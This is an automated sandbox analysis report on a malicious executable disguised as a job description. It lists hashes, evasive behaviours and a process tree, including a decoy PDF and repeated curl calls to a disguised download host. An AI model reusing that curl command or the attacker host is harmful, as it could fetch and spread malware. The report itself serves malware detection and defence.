Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    573s
  • max time network
    575s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/12/2022, 14:49

General

  • Target

    Job_Description.exe

  • Size

    158KB

  • MD5

    931d0969654af3f77fc1dab9e2bd66b1

  • SHA1

    7cf53577520861a1833ae99489c307f98da01b4b

  • SHA256

    f14c5bad5219b1ed5166eb02f5ff08a890a181cef2af565f3fe7bcea9c870e22

  • SHA512

    285a0b32acdb79a7a83de073a3db74bde507cf219ed686b05b866c345e09c893526cdbc4daaa55cf0b3f3176ccee9f30ae14c3e75adaf5239918230e0da41798

  • SSDEEP

    3072:PXbMMsw6csaVqBuH9HJt+BvgDzuLlTlB:YFwnlwBK9f+04lTH

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Job_Description.exe
    "C:\Users\Admin\AppData\Local\Temp\Job_Description.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Job_Description.pdf"
      2⤵
      • Checks processor information in registry
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2232
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4300
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=FDFB9D40AC4508A4BD233F5C7338D08B --mojo-platform-channel-handle=1744 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
          4⤵
            PID:64
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=ECBC42AF314F3DEC20C57A795A3F63DD --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=ECBC42AF314F3DEC20C57A795A3F63DD --renderer-client-id=2 --mojo-platform-channel-handle=1756 --allow-no-sandbox-job /prefetch:1
            4⤵
              PID:2540
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0A955724283FC6691B6537958AEEDB6F --mojo-platform-channel-handle=2188 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              4⤵
                PID:1972
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=179939B8DF44C988A046B289BB0BA00C --mojo-platform-channel-handle=1732 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                4⤵
                  PID:2664
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=BA0DCD1D1B2CF0F961D606AFAF1544C6 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=BA0DCD1D1B2CF0F961D606AFAF1544C6 --renderer-client-id=6 --mojo-platform-channel-handle=2320 --allow-no-sandbox-job /prefetch:1
                  4⤵
                    PID:1720
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=79F6CD7EF58C37111E34F1093F635A1B --mojo-platform-channel-handle=2440 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    4⤵
                      PID:4592
                • C:\Windows\SYSTEM32\curl.exe
                  curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                  2⤵
                    PID:2184
                  • C:\Windows\SYSTEM32\curl.exe
                    curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                    2⤵
                      PID:368
                    • C:\Windows\SYSTEM32\curl.exe
                      curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                      2⤵
                        PID:2484
                      • C:\Windows\SYSTEM32\curl.exe
                        curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                        2⤵
                          PID:2084
                        • C:\Windows\SYSTEM32\curl.exe
                          curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                          2⤵
                            PID:1888
                          • C:\Windows\SYSTEM32\curl.exe
                            curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                            2⤵
                              PID:3500
                            • C:\Windows\SYSTEM32\curl.exe
                              curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                              2⤵
                                PID:1036
                              • C:\Windows\SYSTEM32\curl.exe
                                curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                2⤵
                                  PID:4664
                                • C:\Windows\SYSTEM32\curl.exe
                                  curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                  2⤵
                                    PID:632
                                  • C:\Windows\SYSTEM32\curl.exe
                                    curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                    2⤵
                                      PID:2828
                                    • C:\Windows\SYSTEM32\curl.exe
                                      curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                      2⤵
                                        PID:4544
                                      • C:\Windows\SYSTEM32\curl.exe
                                        curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                        2⤵
                                          PID:4112
                                        • C:\Windows\SYSTEM32\curl.exe
                                          curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                          2⤵
                                            PID:1236
                                          • C:\Windows\SYSTEM32\curl.exe
                                            curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                            2⤵
                                              PID:4956
                                            • C:\Windows\SYSTEM32\curl.exe
                                              curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                              2⤵
                                                PID:3508
                                              • C:\Windows\SYSTEM32\curl.exe
                                                curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                                2⤵
                                                  PID:1740
                                                • C:\Windows\SYSTEM32\curl.exe
                                                  curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                                  2⤵
                                                    PID:4336
                                                  • C:\Windows\SYSTEM32\curl.exe
                                                    curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                                    2⤵
                                                      PID:2576
                                                    • C:\Windows\SYSTEM32\curl.exe
                                                      curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                                      2⤵
                                                        PID:616
                                                      • C:\Windows\SYSTEM32\curl.exe
                                                        curl -A cur1-agent -L https://azure.protection-service.cloud/GJ4EDAp_dNg/lIHlIP4QM7/GQKGPNuo4R/c5njZjK9Tq/J7rC%2BBrm/ZoQVg%3D%3D -s -d dl
                                                        2⤵
                                                          PID:4400
                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                        1⤵
                                                          PID:4712

                                                        Network

                                                        MITRE ATT&CK Enterprise v6

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\war167250180015232.bin

                                                          Filesize

                                                          172KB

                                                          MD5

                                                          599e59effa5ff3db57b3b3d96fbd68bf

                                                          SHA1

                                                          68bec45bfc58373778d15255dce41edd5a10d1bc

                                                          SHA256

                                                          e04848c1e2908335975dd52793c94624d06a598fdd75d5d3eb6ea8c5d569b8bc

                                                          SHA512

                                                          abc7fb542e95fc40617582873b87f13b97d32d8a7ece5473bee3ffd30cc4932079fe3540a8c6fc47da6774d1ea286f1b2ea7c7d0009e0c7a17ab726f34f3fd71